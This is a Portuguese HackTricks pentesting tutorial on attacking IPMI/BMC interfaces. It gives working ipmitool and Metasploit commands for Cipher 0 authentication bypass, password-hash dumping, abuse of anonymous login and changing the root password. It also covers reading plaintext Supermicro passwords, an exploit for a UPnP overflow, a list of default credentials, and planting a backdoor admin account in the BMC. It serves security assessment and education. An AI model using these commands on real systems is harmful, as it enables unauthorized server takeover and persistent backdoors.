## 623/UDP/TCP - IPMI
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
## Informações Básicas O [Intelligent Platform Management Interface](https://www.thomas-krenn.com/en/wiki/IPMI\_Basics) (`IPMI`) é um conjunto de especificações padronizadas para sistemas de gerenciamento de host baseados em hardware usados para gerenciamento e monitoramento do sistema. Ele age como um subsistema autônomo e funciona independentemente do BIOS, CPU, firmware e sistema operacional subjacente do host. O IPMI fornece aos administradores de sistemas a capacidade de gerenciar e monitorar sistemas mesmo que eles estejam desligados ou em um estado não responsivo. Ele opera usando uma conexão de rede direta com o hardware do sistema e não requer acesso ao sistema operacional por meio de um shell de login. O IPMI também pode ser usado para atualizações remotas em sistemas sem exigir acesso físico ao host de destino. O IPMI é tipicamente usado de três maneiras: * Antes que o sistema operacional seja iniciado para modificar as configurações do BIOS * Quando o host está totalmente desligado * Acesso a um host após uma falha do sistema Quando não está sendo usado para essas tarefas, o IPMI pode monitorar uma variedade de coisas diferentes, como temperatura do sistema, voltagem, status do ventilador e fontes de alimentação. Ele também pode ser usado para consultar informações de inventário, revisar logs de hardware e alertar usando SNMP. O sistema host pode ser desligado, mas o módulo IPMI requer uma fonte de energia e uma conexão LAN para funcionar corretamente. O protocolo IPMI foi publicado pela primeira vez pela Intel em 1998 e agora é suportado por mais de 200 fornecedores de sistemas, incluindo Cisco, Dell, HP, Supermicro, Intel e outros. Sistemas que usam a versão 2.0 do IPMI podem ser administrados via serial sobre LAN, dando aos administradores de sistemas a capacidade de visualizar a saída do console serial em banda. Para funcionar, o IPMI requer os seguintes componentes: * Controlador de Gerenciamento de Placa Base (BMC) - Um microcontrolador e componente essencial de um IPMI * Intelligent Chassis Management Bus (ICMB) - Uma interface que permite a comunicação de um chassi para outro * Intelligent Platform Management Bus (IPMB) - estende o BMC * Memória IPMI - armazena coisas como o log de eventos do sistema, dados do repositório de armazenamento e muito mais * Interfaces de comunicação - interfaces do sistema local, interfaces seriais e LAN, ICMB e PCI Management Bus ![](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right) **Porta padrão**: 623/UDP/TCP (geralmente está em UDP, mas também pode estar em TCP) ## Enumeração ### Descoberta ```bash nmap -n -p 623 10.0.0./24 nmap -n-sU -p 623 10.0.0./24 use auxiliary/scanner/ipmi/ipmi_version ``` Você pode **identificar** a **versão** usando: ```bash use auxiliary/scanner/ipmi/ipmi_version nmap -sU --script ipmi-version -p 623 10.10.10.10 ``` ### Vulnerabilidade - Bypass de Autenticação IPMI via Cipher 0 Dan Farmer [identificou uma falha grave](http://fish2.com/ipmi/cipherzero.html) na especificação IPMI 2.0, ou seja, o tipo de cifra 0, um indicador de que o cliente deseja usar autenticação de texto simples, na verdade **permite o acesso com qualquer senha**. Problemas com o Cipher 0 foram identificados em BMCs da HP, Dell e Supermicro, sendo que o problema provavelmente abrange todas as implementações do IPMI 2.0.\ Observe que, para explorar esse problema, você primeiro precisa **encontrar um usuário válido**. Você pode **identificar** esse problema usando: ``` use auxiliary/scanner/ipmi/ipmi_cipher_zero ``` E você pode **abusar** desse problema com o `ipmitool`: ```bash apt-get install ipmitool #Install #Using -C 0 any password is accepted ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 root true true true ADMINISTRATOR 3 Oper1 true true true ADMINISTRATOR ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root ``` ### Vulnerabilidade - Recuperação Remota de Hash de Senha de Autenticação RAKP do IPMI 2.0 Basicamente, **você pode solicitar ao servidor o MD5 e SHA1 salgados e hashados de qualquer nome de usuário e, se o nome de usuário existir, esses hashes serão enviados de volta.** Sim, tão incrível quanto parece. E há um **módulo do metasploit** para testar isso (você pode selecionar a saída no formato John ou Hashcat): ```bash msf > use auxiliary/scanner/ipmi/ipmi_dumphashes ``` _Nota que para isso você só precisa de uma lista de nomes de usuário para força bruta (o metasploit já contém uma lista com nomes de usuário padrão)._ Usando `ipmitool` para burlar a autenticação (`-c 0`) e alterar a senha de root para abc123: ``` root@kali:~# apt-get install ipmitool root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 root true true true ADMINISTRATOR 3 Oper1 true true true ADMINISTRATOR root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 ``` ### Vulnerabilidade - Autenticação Anônima IPMI Além dos problemas de autenticação acima, Dan Farmer observou que muitos BMCs são enviados com acesso "anônimo" habilitado por padrão. Isso é configurado definindo o nome de usuário da primeira conta de usuário como uma string nula e definindo uma senha nula para corresponder. O módulo _ipmi\_dumphashes_ identificará e despejará as hashes de senha (incluindo senhas em branco) para contas de usuário nulas. Essa conta pode ser difícil de usar por conta própria, mas podemos aproveitar o `ipmitool` para redefinir a senha de uma conta de usuário nomeada e aproveitar essa conta para acessar outros serviços: ```bash ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 1 false false true ADMINISTRATOR 2 root false false true ADMINISTRATOR 3 admin true true true ADMINISTRATOR ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword" ``` ### Vulnerabilidade - Senhas em texto claro do IPMI Supermicro A especificação IPMI 2.0 exige que o BMC responda a métodos de autenticação baseados em HMAC, como SHA1 e MD5. Esse processo de autenticação tem algumas fraquezas graves, como demonstrado em exemplos anteriores, mas também **requer acesso à senha em texto claro para calcular o hash de autenticação**. Isso significa que o BMC deve armazenar uma **versão em texto claro** de todas as senhas de usuário configuradas em algum lugar do **armazenamento não volátil**. No caso da **Supermicro**, essa localização muda entre as versões do firmware, mas é **`/nv/PSBlock`** ou **`/nv/PSStore`**. As senhas estão espalhadas entre vários blocos binários, mas são fáceis de identificar, pois sempre seguem o nome de usuário. Isso é um problema sério para qualquer organização que usa senhas compartilhadas entre BMCs ou até mesmo diferentes tipos de dispositivos. ```bash cat /nv/PSBlock admin ADMINpassword^TT rootOtherPassword! ``` ### Vulnerabilidade - Supermicro IPMI UPnP A Supermicro inclui um **listener UPnP SSDP em execução na porta UDP 1900** no firmware IPMI de muitas de suas placas-mãe recentes. Nas versões anteriores a SMT\_X9\_218, este serviço estava executando o SDK Intel para Dispositivos UPnP, versão 1.3.1. Esta versão é vulnerável aos [problemas divulgados pela Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) em fevereiro de 2013, e um exploit para essa plataforma faz parte do Metasploit Framework. O interessante sobre esse ataque é que ele **fornece acesso root completo ao BMC**, algo que é difícil de obter de outra forma. Lembre-se de que um invasor com acesso administrativo, seja pela rede ou de um shell root no sistema host, pode rebaixar o firmware de um BMC Supermicro para uma versão vulnerável e, em seguida, explorá-lo. Uma vez que o acesso **root** é **obtido**, é possível **ler credenciais em texto claro** do sistema de arquivos, **instalar** software adicional e integrar **backdoors** permanentes no BMC que sobreviveriam a uma reinstalação completa do sistema operacional do host. ```bash msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` ### Brute Force Observe que apenas a HP randomiza a senha durante o processo de fabricação. | Nome do Produto | Nome de Usuário Padrão | Senha Padrão | | --------------------------------------------------- | --------------------- | ----------------------------------------- | | **HP Integrated Lights Out (iLO)** | Administrator | \ | | **Dell Remote Access Card (iDRAC, DRAC)** | root | calvin | | **IBM Integrated Management Module (IMM)** | USERID | PASSW0RD (com um zero) | | **Fujitsu Integrated Remote Management Controller** | admin | admin | | **Supermicro IPMI (2.0)** | ADMIN | ADMIN | | **Oracle/Sun Integrated Lights Out Manager (ILOM)** | root | changeme | | **ASUS iKVM BMC** | admin | admin | ## Explorando o Host a partir do BMC Uma vez obtido o acesso administrativo ao BMC, há vários métodos disponíveis que podem ser usados para obter acesso ao sistema operacional do host. O caminho mais direto é abusar da funcionalidade KVM do BMC e reiniciar o host para um shell root (init=/bin/sh no GRUB) ou especificar um disco de resgate como um CD-ROM virtual e inicializar a partir dele. Uma vez obtido o acesso bruto ao disco do host, é trivial introduzir uma porta dos fundos, copiar dados do disco rígido ou fazer qualquer coisa que precise ser feita como parte da avaliação de segurança. A grande desvantagem, é claro, é que o host tem que ser reiniciado para usar este método. Obter acesso ao host em execução é muito mais complicado e depende do que o host está executando. Se o console físico do host for deixado conectado, torna-se trivial sequestrá-lo usando a funcionalidade KVM integrada. O mesmo se aplica aos consoles seriais - se a porta serial estiver conectada a uma sessão autenticada, o BMC pode permitir que esta porta seja sequestrada usando a interface ipmitool para serial-over-LAN (sol). Um caminho que ainda precisa de mais pesquisa é abusar do acesso a hardware compartilhado, como o barramento i2c e o chip Super I/O. ![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_bios.png) ![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_boot.png) ![](<../.gitbook/assets/image (202) (2).png>) ## Explorando o BMC a partir do Host Em situações em que um host com um BMC foi comprometido, a **interface local para o BMC pode ser usada para introduzir uma conta de usuário de porta dos fundos**, e a partir daí estabelecer uma posição permanente no servidor. Este ataque requer que o **`ipmitool`** esteja instalado no host e que o suporte ao driver esteja habilitado para o BMC. O exemplo abaixo demonstra como a interface local no host, que não requer autenticação, pode ser usada para injetar uma nova conta de usuário no BMC. Este método é universal em alvos Linux, Windows, BSD e até mesmo DOS. ```bash ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 ADMIN true false false Unknown (0x00) 3 root true false false Unknown (0x00) ipmitool user set name 4 backdoor ipmitool user set password 4 backdoor ipmitool user priv 4 4 ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 ADMIN true false false Unknown (0x00) 3 root true false false Unknown (0x00) 4 backdoor true false true ADMINISTRATOR ``` ## Shodan * `porta:623` ## Referências * [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/) * [https://academy.hackthebox.com/module/112/section/1245](https://academy.hackthebox.com/module/112/section/1245)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).